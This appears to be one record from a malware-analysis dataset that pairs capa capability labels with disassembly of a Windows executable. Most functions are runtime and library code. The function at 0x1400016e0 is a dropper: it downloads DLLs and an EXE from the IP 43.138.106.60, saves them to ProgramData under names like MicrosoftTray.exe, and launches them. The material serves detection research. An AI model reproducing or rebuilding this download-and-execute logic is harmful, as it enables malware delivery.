joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140001160
Capabilities:
Terminate process

Disassembly:
push r15
push r14
push r12
push rsi
push rdi
push rbx
sub rsp, 0x28
mov rax, qword gs:[0x30]
mov rdi, qword [rax + 8]
mov rsi, qword [0x140082048]
xor eax, eax
lock cmpxchg qword [rsi], rdi
sete bl
je 0x1400011b9
cmp rdi, rax
je 0x1400011b9
mov r14, qword [sym.imp.KERNEL32.dll_Sleep]
nop dword [rax]
mov ecx, 0x3e8
call r14
xor eax, eax
lock cmpxchg qword [rsi], rdi
sete bl
je 0x1400011b9
cmp rdi, rax
jne 0x1400011a0
mov rdi, qword [0x140082050]
mov eax, dword [rdi]
cmp eax, 1
jne 0x1400011d3
mov ecx, 0x1f
call dbg._amsg_exit
jmp 0x1400011fa
cmp dword [rdi], 0
je 0x1400011e1
mov byte [0x1400a6490], 1
jmp 0x1400011fa
mov dword [rdi], 1
mov rcx, qword [str.p_r_t_]
mov rdx, qword [0x140082070]
call sym._initterm
mov eax, dword [rdi]
cmp eax, 1
jne 0x14000121a
mov rcx, qword [str.H_r_t_]
mov rdx, qword [str.X_r_t_]
call sym._initterm
mov dword [rdi], 2
test bl, bl
je 0x140001223
xor eax, eax
xchg qword [rsi], rax
mov rax, qword [0x140082010]
mov rax, qword [rax]
test rax, rax
je 0x140001242
xor ecx, ecx
mov edx, 2
xor r8d, r8d
call qword [0x140090d40]
call dbg._pei386_runtime_relocator
lea rcx, [dbg._gnu_exception_handler]
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [0x140082040]
mov qword [rcx], rax
lea rcx, [dbg.__mingw_invalidParameterHandler]
call sym._set_invalid_parameter_handler
call dbg._fpreset
movsxd rdi, dword [0x1400a647c]
lea rcx, [rdi*8 + 8]
call sym.malloc
mov rsi, rax
test rdi, rdi
jle 0x1400012d4
mov r14d, edi
mov r15, qword [0x1400a6480]
xor r12d, r12d
nop dword [rax + rax]
mov rdi, qword [r15 + r12*8]
mov rcx, rdi
call sym.strlen
lea rbx, [rax + 1]
mov rcx, rbx
call sym.malloc
mov qword [rsi + r12*8], rax
mov rcx, rax
mov rdx, rdi
mov r8, rbx
call sym.memcpy
inc r12
cmp r14, r12
jne 0x1400012a0
jmp 0x1400012d7
xor r14d, r14d
mov qword [rsi + r14*8], 0
mov qword [0x1400a6480], rsi
call dbg.__main
mov r8, qword [0x1400a6488]
mov rax, qword [0x140082018]
mov rax, qword [rax]
mov qword [rax], r8
mov ecx, dword [0x1400a647c]
mov rdx, qword [0x1400a6480]
call sym.main
mov dword [0x1400a6494], eax
cmp dword [0x1400a6474], 0
je 0x140001342
cmp byte [0x1400a6490], 0
jne 0x140001334
call sym._cexit
mov eax, dword [0x1400a6494]
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r12
pop r14
pop r15
ret
mov ecx, eax
call sym.exit
int3
Function at 0x1400016e0
Capabilities:
Create process on windows
Schedule task via at

Disassembly:
push rbp
sub rsp, 0x70
lea rbp, [rsp + 0x70]
call dbg.__main
mov dword [rbp - 4], 0
lea rax, str.http:__43.138.106.60:80_download_1.dll
mov qword [rbp - 0x10], rax
lea rax, str.http:__43.138.106.60:80_download_2.dll
mov qword [rbp - 0x18], rax
lea rax, str.http:__43.138.106.60:80_download_1.exe
mov qword [rbp - 0x20], rax
lea rax, str.C:ProgramDataencrashrep.dll
mov qword [rbp - 0x28], rax
lea rax, str.C:ProgramDataencrashrepOrg.dll
mov qword [rbp - 0x30], rax
lea rax, str.C:ProgramDataMicrosoftTray.exe
mov qword [rbp - 0x38], rax
mov rcx, qword [rbp - 0x10]
mov rdx, qword [rbp - 0x28]
call sym.downloadFile_char_const__char_const_
test al, 1
jne 0x140001752
jmp 0x1400017b0
mov rcx, qword [rbp - 0x18]
mov rdx, qword [rbp - 0x30]
call sym.downloadFile_char_const__char_const_
test al, 1
jne 0x14000176c
jmp 0x1400017b0
mov rcx, qword [rbp - 0x20]
mov rdx, qword [rbp - 0x38]
call sym.downloadFile_char_const__char_const_
test al, 1
jne 0x140001786
jmp 0x1400017b0
mov r8, qword [rbp - 0x38]
xor eax, eax
mov r9d, eax
lea rdx, str.open
mov rcx, r9
mov qword [rsp + 0x20], 0
mov dword [rsp + 0x28], 1
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
xor eax, eax
add rsp, 0x70
pop rbp
ret
Function at 0x14001edd0
Capabilities:
Write file on windows

Disassembly:
push r15
push r14
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x38
mov rsi, rcx
lea rdi, [rsp + 0x38]
lea r15, [rsp + 0x28]
lea rbx, [rsp + 0x30]
nop
mov rcx, qword [rsi + 0x48]
mov rdx, qword [rsi + 0x50]
mov rax, qword [rcx]
mov rax, qword [rax + 0x28]
mov qword [rsp + 0x20], r15
mov r8, rbx
mov r9, rdi
call qword [0x140090d40]
mov ebp, eax
mov r14, qword [rsp + 0x28]
sub r14, rbx
mov r9, qword [rsi + 0x40]
mov edx, 1
mov rcx, rbx
mov r8, r14
call sym.fwrite
mov rcx, rax
mov eax, 0xffffffff
cmp rcx, r14
jne 0x14001ee56
cmp ebp, 1
je 0x14001edf0
cmp ebp, 2
je 0x14001ee56
mov rcx, qword [rsi + 0x40]
call sym.fflush
mov ecx, eax
xor eax, eax
neg ecx
sbb eax, eax
add rsp, 0x38
pop rbx
pop rbp
pop rdi
pop rsi
pop r14
pop r15
ret

Function at 0x14001ee70
Capabilities:
Write file on windows

Disassembly:
push r14
push rsi
push rdi
push rbx
sub rsp, 0x28
mov rsi, r8
mov rdi, rdx
mov r14, rcx
cmp byte [rcx + 0x58], 0
je 0x14001eea5
mov r9, qword [r14 + 0x40]
mov edx, 1
mov rcx, rdi
mov r8, rsi
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r14
jmp sym.fwrite
xor ebx, ebx
test rsi, rsi
jle 0x14001eed4
nop dword [rax]
movzx edx, byte [rdi + rbx]
mov rax, qword [r14]
mov rax, qword [rax + 0x68]
mov rcx, r14
call qword [0x140090d40]
cmp eax, 0xffffffff
je 0x14001eed4
inc rbx
cmp rsi, rbx
jne 0x14001eeb0
mov rbx, rsi
mov rax, rbx
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r14
ret

Function at 0x14001eef0
Capabilities:
Write file on windows

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x68
cmp edx, 0xffffffff
je 0x14001ef44
mov esi, edx
mov rdi, rcx
mov byte [rsp + 0x4f], sil
cmp byte [rcx + 0x58], 0
je 0x14001ef4b
mov r9, qword [rdi + 0x40]
mov byte [rsp + 0x50], sil
lea rcx, [rsp + 0x50]
mov edx, 1
mov r8d, 1
call sym.fwrite
cmp rax, 1
mov eax, 0xffffffff
cmovne esi, eax
jmp 0x14001f003
xor esi, esi
jmp 0x14001f003
lea rbx, [rsp + 0x50]
mov qword [rsp + 0x60], rbx
lea r15, [rsp + 0x4f]
lea r12, [rsp + 0x58]
lea r13, [rsp + 0x60]
lea r14, [rsp + 0x58]
nop dword [rax]
mov rcx, qword [rdi + 0x48]
mov rdx, qword [rdi + 0x50]
mov rax, qword [rcx]
mov rax, qword [rax + 0x18]
mov qword [rsp + 0x38], r13
mov qword [rsp + 0x30], r12
mov qword [rsp + 0x28], rbx
mov qword [rsp + 0x20], r14
mov r8, r15
lea r9, [rsp + 0x50]
call qword [0x140090d40]
cmp qword [rsp + 0x58], r15
je 0x14001effe
mov ebp, eax
cmp eax, 3
je 0x14001efe1
cmp ebp, 1
ja 0x14001effe
mov r15, qword [rsp + 0x60]
sub r15, rbx
mov r9, qword [rdi + 0x40]
mov edx, 1
mov rcx, rbx
mov r8, r15
call sym.fwrite
cmp rax, r15
jne 0x14001effe
mov r15, qword [rsp + 0x58]
cmp ebp, 1
je 0x14001ef70
jmp 0x14001f003
mov r9, qword [rdi + 0x40]
mov edx, 1
mov r8d, 1
mov rcx, r15
call sym.fwrite
cmp rax, 1
je 0x14001f003
mov esi, 0xffffffff
mov eax, esi
add rsp, 0x68
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
Function at 0x14001f420
Capabilities:
Write file on windows

Disassembly:
push r15
push r14
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x38
mov rsi, rcx
lea rdi, [rsp + 0x38]
lea r15, [rsp + 0x28]
lea rbx, [rsp + 0x30]
nop
mov rcx, qword [rsi + 0x48]
mov rdx, qword [rsi + 0x50]
mov rax, qword [rcx]
mov rax, qword [rax + 0x28]
mov qword [rsp + 0x20], r15
mov r8, rbx
mov r9, rdi
call qword [0x140090d40]
mov ebp, eax
mov r14, qword [rsp + 0x28]
sub r14, rbx
mov r9, qword [rsi + 0x40]
mov edx, 1
mov rcx, rbx
mov r8, r14
call sym.fwrite
mov rcx, rax
mov eax, 0xffffffff
cmp rcx, r14
jne 0x14001f4a6
cmp ebp, 1
je 0x14001f440
cmp ebp, 2
je 0x14001f4a6
mov rcx, qword [rsi + 0x40]
call sym.fflush
mov ecx, eax
xor eax, eax
neg ecx
sbb eax, eax
add rsp, 0x38
pop rbx
pop rbp
pop rdi
pop rsi
pop r14
pop r15
ret

Function at 0x14001f520
Capabilities:
Write file on windows

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x68
cmp dx, 0xffff
je 0x14001f564
mov esi, edx
mov rdi, rcx
mov word [rsp + 0x4e], dx
cmp byte [rcx + 0x58], 0
je 0x14001f56b
mov rdx, qword [rdi + 0x40]
mov ecx, esi
call sym.fputwc
cmp ax, 0xffff
mov eax, 0xffff
cmovne eax, esi
mov esi, eax
jmp 0x14001f622
xor esi, esi
jmp 0x14001f622
lea rbx, [rsp + 0x60]
mov qword [rsp + 0x58], rbx
lea r15, [rsp + 0x4e]
lea r12, [rsp + 0x68]
lea r13, [rsp + 0x58]
lea r14, [rsp + 0x50]
nop dword [rax]
mov rcx, qword [rdi + 0x48]
mov rdx, qword [rdi + 0x50]
mov rax, qword [rcx]
mov rax, qword [rax + 0x18]
mov qword [rsp + 0x38], r13
mov qword [rsp + 0x30], r12
mov qword [rsp + 0x28], rbx
mov qword [rsp + 0x20], r14
mov r8, r15
lea r9, [rsp + 0x50]
call qword [0x140090d40]
cmp qword [rsp + 0x50], r15
je 0x14001f61e
mov ebp, eax
cmp eax, 3
je 0x14001f601
cmp ebp, 1
ja 0x14001f61e
mov r15, qword [rsp + 0x58]
sub r15, rbx
mov r9, qword [rdi + 0x40]
mov edx, 1
mov rcx, rbx
mov r8, r15
call sym.fwrite
cmp rax, r15
jne 0x14001f61e
mov r15, qword [rsp + 0x50]
cmp ebp, 1
je 0x14001f590
jmp 0x14001f622
mov r9, qword [rdi + 0x40]
mov edx, 1
mov r8d, 1
mov rcx, r15
call sym.fwrite
cmp rax, 1
je 0x14001f622
mov si, 0xffff
mov eax, esi
add rsp, 0x68
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret

Function at 0x14001f800
Capabilities:
Encode data using xor

Disassembly:
cmp rdx, r8
je 0x14001f828
movabs rcx, 0xf000000000000000
mov r9, r8
sub r9, rdx
dec r8
cmp r8, rdx
jne 0x14001f82b
xor r8d, r8d
test r9b, 1
jne 0x14001f88e
jmp 0x14001f8a5
xor eax, eax
ret
mov r8, r9
and r8, 0xfffffffffffffffe
xor eax, eax
nop word cs:[rax + rax]
shl rax, 4
movsx r10, byte [rdx]
add r10, rax
mov rax, r10
shr rax, 0x38
and eax, 0xfffffff0
xor rax, r10
shl rax, 4
movsx r10, byte [rdx + 1]
add r10, rax
mov r11, r10
and r11, rcx
mov rax, r11
shr rax, 0x38
or rax, r11
xor rax, r10
add rdx, 2
add r8, 0xfffffffffffffffe
jne 0x14001f840
mov r8, rax
shl r8, 4
test r9b, 1
je 0x14001f8a5
movsx rax, byte [rdx]
add r8, rax
and rcx, r8
mov rax, rcx
shr rax, 0x38
or rax, rcx
xor rax, r8
ret
Function at 0x14001fa10
Capabilities:
Encode data using xor

Disassembly:
xor eax, eax
cmp rdx, r8
je 0x14001fa57
movabs rcx, 0xf000000000000000
nop word cs:[rax + rax]
shl rax, 4
movzx r9d, word [rdx]
add r9, rax
mov r10, r9
and r10, rcx
mov rax, r10
shr rax, 0x38
or rax, r10
xor rax, r9
add rdx, 2
cmp rdx, r8
jne 0x14001fa30
ret

Function at 0x140057c40
Capabilities:
Write file on windows

Disassembly:
push rsi
sub rsp, 0x30
mov rsi, rcx
mov qword [rsp + 0x48], rdx
mov qword [rsp + 0x50], r8
mov qword [rsp + 0x58], r9
lea rax, [rsp + 0x48]
mov qword [rsp + 0x28], rax
mov ecx, 2
call sym.__acrt_iob_func
lea rcx, str.Mingw_w64_runtime_failure:_n
mov edx, 0x1b
mov r8d, 1
mov r9, rax
call sym.fwrite
mov ecx, 2
call sym.__acrt_iob_func
mov r8, qword [rsp + 0x28]
mov rcx, rax
mov rdx, rsi
call dbg.vfprintf
call sym.abort
int3

Function at 0x1400595e0
Capabilities:
Write file on windows

Disassembly:
push rsi
push rdi
sub rsp, 0x28
mov rsi, rcx
mov qword [rsp + 0x48], rdx
mov qword [rsp + 0x50], r8
mov qword [rsp + 0x58], r9
mov rdi, qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
mov ecx, 2
call rdi
lea rcx, str.libcabi:
mov edx, 0xb
mov r8d, 1
mov r9, rax
call sym.fwrite
lea rax, [rsp + 0x48]
mov qword [rsp + 0x20], rax
mov ecx, 2
call rdi
mov r8, qword [rsp + 0x20]
mov rcx, rax
mov rdx, rsi
call dbg.vfprintf
mov ecx, 2
call rdi
mov ecx, 0xa
mov rdx, rax
call sym.fputc
call sym.abort
int3

Function at 0x140059e40
Capabilities:
Query environment variable

Disassembly:
push r14
push rsi
push rdi
push rbx
sub rsp, 0x28
mov rsi, r8
mov edi, edx
mov rbx, rcx
call sym.logAPIs
test al, al
je 0x140059e93
mov r14, qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
mov ecx, 2
call r14
mov qword [rsp + 0x20], rsi
lea rdx, str.libunwind:__Unwind_SetGR_context_p__reg_d__value0x_0llx__n
mov rcx, rax
mov r8, rbx
mov r9d, edi
call dbg.fprintf
mov ecx, 2
call r14
mov rcx, rax
call sym.fflush
mov rcx, rbx
mov edx, edi
mov r8, rsi
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r14
jmp sym.__unw_set_reg

Function at 0x140059f20
Capabilities:
Query environment variable

Disassembly:
push rsi
push rdi
push rbx
sub rsp, 0x20
mov rsi, rdx
mov rdi, rcx
call sym.logAPIs
test al, al
je 0x140059f68
mov rbx, qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
mov ecx, 2
call rbx
lea rdx, str.libunwind:__Unwind_SetIP_context_p__value0x_0llx__n
mov rcx, rax
mov r8, rdi
mov r9, rsi
call dbg.fprintf
mov ecx, 2
call rbx
mov rcx, rax
call sym.fflush
mov rcx, rdi
mov edx, 0xffffffff
mov r8, rsi
add rsp, 0x20
pop rbx
pop rdi
pop rsi
jmp sym.__unw_set_reg
Function at 0x14005d340
Capabilities:
Parse pe header

Disassembly:
push rsi
push rdi
push rbx
sub rsp, 0x20
mov rsi, rcx
call sym.strlen
xor edi, edi
cmp rax, 8
ja 0x14005d3bf
mov rax, qword [0x140082008]
movzx ecx, word [rax]
cmp ecx, 0x5a4d
jne 0x14005d3bf
movsxd rcx, dword [rax + 0x3c]
cmp dword [rax + rcx], 0x4550
jne 0x14005d3bd
add rax, rcx
movzx ecx, word [rax + 0x18]
cmp ecx, 0x20b
jne 0x14005d3bd
movzx ebx, word [rax + 6]
test ebx, ebx
je 0x14005d3bd
movzx ecx, word [rax + 0x14]
lea rdi, [rcx + rax]
add rdi, 0x18
nop dword [rax]
mov r8d, 8
mov rcx, rdi
mov rdx, rsi
call sym.strncmp
test eax, eax
je 0x14005d3bf
add rdi, 0x28
dec ebx
jne 0x14005d3a0
xor edi, edi
mov rax, rdi
add rsp, 0x20
pop rbx
pop rdi
pop rsi
ret

Function at 0x14005d3d0
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rax, qword [0x140082008]
movzx edx, word [rax]
cmp edx, 0x5a4d
jne 0x14005d43b
movsxd rdx, dword [rax + 0x3c]
cmp dword [rax + rdx], 0x4550
jne 0x14005d43b
add rax, rdx
movzx edx, word [rax + 0x18]
cmp edx, 0x20b
jne 0x14005d43b
movzx edx, word [rax + 6]
test edx, edx
je 0x14005d43b
sub rcx, qword [0x140082008]
movzx r8d, word [rax + 0x14]
add rax, r8
add rax, 0x18
jmp 0x14005d428
add rax, 0x28
dec edx
je 0x14005d43b
mov r8d, dword [rax + 0xc]
cmp rcx, r8
jb 0x14005d420
add r8d, dword [rax + 8]
cmp rcx, r8
jae 0x14005d420
ret
xor eax, eax
ret

Function at 0x14005d440
Capabilities:
Parse pe header

Disassembly:
mov rcx, qword [0x140082008]
movzx edx, word [rcx]
xor eax, eax
cmp edx, 0x5a4d
jne 0x14005d475
movsxd rdx, dword [rcx + 0x3c]
cmp dword [rcx + rdx], 0x4550
jne 0x14005d475
movzx r8d, word [rcx + rdx + 0x18]
cmp r8d, 0x20b
jne 0x14005d475
movzx eax, word [rcx + rdx + 6]
ret

Function at 0x14005d4f0
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x140082008]
movzx ecx, word [rax]
cmp ecx, 0x5a4d
jne 0x14005d51c
movsxd rcx, dword [rax + 0x3c]
cmp dword [rax + rcx], 0x4550
jne 0x14005d51c
movzx ecx, word [rax + rcx + 0x18]
cmp ecx, 0x20b
je 0x14005d51e
xor eax, eax
ret

Function at 0x14005d5b0
Capabilities:
Parse pe header

Disassembly:
push rsi
mov rdx, qword [0x140082008]
movzx eax, word [rdx]
cmp eax, 0x5a4d
jne 0x14005d64d
movsxd rax, dword [rdx + 0x3c]
cmp dword [rdx + rax], 0x4550
jne 0x14005d64d
add rax, rdx
movzx r8d, word [rax + 0x18]
cmp r8d, 0x20b
jne 0x14005d64d
mov r8d, dword [rax + 0x90]
test r8, r8
je 0x14005d64d
movzx r9d, word [rax + 6]
test r9, r9
je 0x14005d64d
movzx r10d, word [rax + 0x14]
shl r9d, 3
lea r9, [r9 + r9*4]
add r10, rax
add r10, 0x24
xor eax, eax
xor r11d, r11d
jmp 0x14005d629
add r11, 0x28
cmp r9d, r11d
je 0x14005d64f
mov esi, dword [r10 + r11]
cmp esi, r8d
ja 0x14005d620
add esi, dword [r10 + r11 - 4]
cmp esi, r8d
jbe 0x14005d620
add rdx, r8
add rdx, 0xc
xor eax, eax
cmp dword [rdx - 8], 0
jne 0x14005d671
jmp 0x14005d66c
xor eax, eax
pop rsi
ret
dec ecx
add rdx, 0x14
cmp dword [rdx - 8], 0
jne 0x14005d671
cmp dword [rdx], 0
je 0x14005d64f
test ecx, ecx
jg 0x14005d660
mov eax, dword [rdx]
add rax, qword [0x140082008]
jmp 0x14005d64f
Function at 0x14005d6b0
Capabilities:
Query environment variable

Disassembly:
push rsi
push rdi
push rbx
sub rsp, 0x20
mov rdi, rdx
mov rsi, rcx
cmp byte [0x1400a7d03], 1
jne 0x14005d6d1
cmp byte [0x1400a7d02], 0
jne 0x14005d6f0
jmp 0x14005d722
lea rcx, str.LIBUNWIND_PRINT_APIS
call sym.getenv
mov byte [0x1400a7d03], 1
test rax, rax
setne byte [0x1400a7d02]
je 0x14005d722
mov rbx, qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
mov ecx, 2
call rbx
lea rdx, str.libunwind:___unw_init_local_cursor_p__context_p__n
mov rcx, rax
mov r8, rsi
mov r9, rdi
call dbg.fprintf
mov ecx, 2
call rbx
mov rcx, rax
call sym.fflush
lea r8, [0x1400a7218]
mov rcx, rsi
mov rdx, rdi
call method.libunwind::UnwindCursor_libunwind::LocalAddressSpace__libunwind::Registers_x86_64_.UnwindCursor_unw_context_t__libunwind::LocalAddressSpace_
mov rax, qword [rsi]
mov rax, qword [rax + 0x68]
mov rcx, rsi
xor edx, edx
call qword [0x140090d40]
xor eax, eax
add rsp, 0x20
pop rbx
pop rdi
pop rsi
ret

Function at 0x14005d750
Capabilities:
Query environment variable

Disassembly:
sub rsp, 0x28
cmp byte [0x1400a7d03], 1
jne 0x14005d76c
cmp byte [0x1400a7d02], 0
setne al
add rsp, 0x28
ret
lea rcx, str.LIBUNWIND_PRINT_APIS
call sym.getenv
test rax, rax
setne al
setne byte [0x1400a7d02]
mov byte [0x1400a7d03], 1
add rsp, 0x28
ret

Function at 0x14005d970
Capabilities:
Query environment variable

Disassembly:
push r14
push rsi
push rdi
push rbx
sub rsp, 0x28
mov rsi, r8
mov edi, edx
mov rbx, rcx
cmp byte [0x1400a7d03], 1
jne 0x14005d995
cmp byte [0x1400a7d02], 0
jne 0x14005d9b4
jmp 0x14005d9ed
lea rcx, str.LIBUNWIND_PRINT_APIS
call sym.getenv
mov byte [0x1400a7d03], 1
test rax, rax
setne byte [0x1400a7d02]
je 0x14005d9ed
mov r14, qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
mov ecx, 2
call r14
mov qword [rsp + 0x20], rsi
lea rdx, str.libunwind:___unw_get_reg_cursor_p__regNum_d__value_p__n
mov rcx, rax
mov r8, rbx
mov r9d, edi
call dbg.fprintf
mov ecx, 2
call r14
mov rcx, rax
call sym.fflush
mov rax, qword [rbx]
mov rax, qword [rax + 0x10]
mov rcx, rbx
mov edx, edi
call qword [0x140090d40]
mov ecx, eax
mov eax, 0xffffe672
test cl, cl
je 0x14005da21
mov rax, qword [rbx]
mov rax, qword [rax + 0x18]
mov rcx, rbx
mov edx, edi
call qword [0x140090d40]
mov qword [rsi], rax
xor eax, eax
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r14
ret
Function at 0x14005da30
Capabilities:
Query environment variable

Disassembly:
push r14
push rsi
push rdi
push rbx
sub rsp, 0x78
mov rbx, r8
mov edi, edx
mov rsi, rcx
cmp byte [0x1400a7d03], 1
jne 0x14005da55
cmp byte [0x1400a7d02], 0
jne 0x14005da74
jmp 0x14005daad
lea rcx, str.LIBUNWIND_PRINT_APIS
call sym.getenv
mov byte [0x1400a7d03], 1
test rax, rax
setne byte [0x1400a7d02]
je 0x14005daad
mov r14, qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
mov ecx, 2
call r14
mov qword [rsp + 0x20], rbx
lea rdx, str.libunwind:___unw_set_reg_cursor_p__regNum_d__value0x_llx__n
mov rcx, rax
mov r8, rsi
mov r9d, edi
call dbg.fprintf
mov ecx, 2
call r14
mov rcx, rax
call sym.fflush
mov rax, qword [rsi]
mov rax, qword [rax + 0x10]
mov rcx, rsi
mov edx, edi
call qword [0x140090d40]
mov ecx, eax
mov eax, 0xffffe672
test cl, cl
je 0x14005db50
mov rax, qword [rsi]
mov rax, qword [rax + 0x20]
mov rcx, rsi
mov edx, edi
mov r8, rbx
call qword [0x140090d40]
xor eax, eax
cmp edi, 0xffffffff
jne 0x14005db50
mov rax, qword [rsi]
mov rax, qword [rax + 0x48]
lea rdx, [rsp + 0x30]
mov rcx, rsi
call qword [0x140090d40]
mov rax, qword [rsi]
mov rax, qword [rax + 0x68]
mov rcx, rsi
xor edx, edx
call qword [0x140090d40]
cmp qword [rsp + 0x50], 0
je 0x14005db4e
mov rax, qword [rsi]
mov rax, qword [rax + 0x18]
mov rcx, rsi
mov edx, 0xfffffffe
call qword [0x140090d40]
add rax, qword [rsp + 0x50]
mov rcx, qword [rsi]
mov r9, qword [rcx + 0x20]
mov rcx, rsi
mov edx, 0xfffffffe
mov r8, rax
mov rax, r9
call qword [0x140090d40]
xor eax, eax
add rsp, 0x78
pop rbx
pop rdi
pop rsi
pop r14
ret

Function at 0x14005db60
Capabilities:
Query environment variable

Disassembly:
push r14
push rsi
push rdi
push rbx
sub rsp, 0x28
mov rsi, r8
mov edi, edx
mov rbx, rcx
cmp byte [0x1400a7d03], 1
jne 0x14005db85
cmp byte [0x1400a7d02], 0
jne 0x14005dba4
jmp 0x14005dbdd
lea rcx, str.LIBUNWIND_PRINT_APIS
call sym.getenv
mov byte [0x1400a7d03], 1
test rax, rax
setne byte [0x1400a7d02]
je 0x14005dbdd
mov r14, qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
mov ecx, 2
call r14
mov qword [rsp + 0x20], rsi
lea rdx, str.libunwind:___unw_get_fpreg_cursor_p__regNum_d__value_p__n
mov rcx, rax
mov r8, rbx
mov r9d, edi
call dbg.fprintf
mov ecx, 2
call r14
mov rcx, rax
call sym.fflush
mov rax, qword [rbx]
mov rax, qword [rax + 0x28]
mov rcx, rbx
mov edx, edi
call qword [0x140090d40]
mov ecx, eax
mov eax, 0xffffe672
test cl, cl
je 0x14005dc12
mov rax, qword [rbx]
mov rax, qword [rax + 0x30]
mov rcx, rbx
mov edx, edi
call qword [0x140090d40]
movsd qword [rsi], xmm0
xor eax, eax
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r14
ret
Function at 0x14005dc20
Capabilities:
Query environment variable

Disassembly:
push rsi
push rdi
push rbx
sub rsp, 0x40
movaps xmmword [rsp + 0x30], xmm6
movaps xmm6, xmm2
mov esi, edx
mov rdi, rcx
cmp byte [0x1400a7d03], 1
jne 0x14005dc48
cmp byte [0x1400a7d02], 0
jne 0x14005dc67
jmp 0x14005dc9f
lea rcx, str.LIBUNWIND_PRINT_APIS
call sym.getenv
mov byte [0x1400a7d03], 1
test rax, rax
setne byte [0x1400a7d02]
je 0x14005dc9f
mov rbx, qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
mov ecx, 2
call rbx
movsd qword [rsp + 0x20], xmm6
lea rdx, str.libunwind:___unw_set_fpreg_cursor_p__regNum_d__value_g__n
mov rcx, rax
mov r8, rdi
mov r9d, esi
call dbg.fprintf
mov ecx, 2
call rbx
mov rcx, rax
call sym.fflush
mov rax, qword [rdi]
mov rax, qword [rax + 0x28]
mov rcx, rdi
mov edx, esi
call qword [0x140090d40]
mov ecx, eax
mov eax, 0xffffe672
test cl, cl
je 0x14005dcd3
mov rax, qword [rdi]
mov rax, qword [rax + 0x38]
mov rcx, rdi
mov edx, esi
movaps xmm2, xmm6
call qword [0x140090d40]
xor eax, eax
movaps xmm6, xmmword [rsp + 0x30]
add rsp, 0x40
pop rbx
pop rdi
pop rsi
ret

Function at 0x14005dce0
Capabilities:
Query environment variable

Disassembly:
push rsi
push rdi
sub rsp, 0x28
mov rsi, rcx
cmp byte [0x1400a7d03], 1
jne 0x14005dcfd
cmp byte [0x1400a7d02], 0
jne 0x14005dd1c
jmp 0x14005dd4b
lea rcx, str.LIBUNWIND_PRINT_APIS
call sym.getenv
mov byte [0x1400a7d03], 1
test rax, rax
setne byte [0x1400a7d02]
je 0x14005dd4b
mov rdi, qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
mov ecx, 2
call rdi
lea rdx, str.libunwind:___unw_step_cursor_p__n
mov rcx, rax
mov r8, rsi
call dbg.fprintf
mov ecx, 2
call rdi
mov rcx, rax
call sym.fflush
mov rax, qword [rsi]
mov rax, qword [rax + 0x40]
mov r8, qword [0x140090d40]
mov rcx, rsi
xor edx, edx
add rsp, 0x28
pop rdi
pop rsi
jmp r8

Function at 0x14005dd70
Capabilities:
Query environment variable

Disassembly:
push rsi
push rdi
sub rsp, 0x28
mov rsi, rcx
cmp byte [0x1400a7d03], 1
jne 0x14005dd8d
cmp byte [0x1400a7d02], 0
jne 0x14005ddac
jmp 0x14005dddb
lea rcx, str.LIBUNWIND_PRINT_APIS
call sym.getenv
mov byte [0x1400a7d03], 1
test rax, rax
setne byte [0x1400a7d02]
je 0x14005dddb
mov rdi, qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
mov ecx, 2
call rdi
lea rdx, str.libunwind:___unw_step_stage2_cursor_p__n
mov rcx, rax
mov r8, rsi
call dbg.fprintf
mov ecx, 2
call rdi
mov rcx, rax
call sym.fflush
mov rax, qword [rsi]
mov rax, qword [rax + 0x40]
mov r8, qword [0x140090d40]
mov rcx, rsi
mov dl, 1
add rsp, 0x28
pop rdi
pop rsi
jmp r8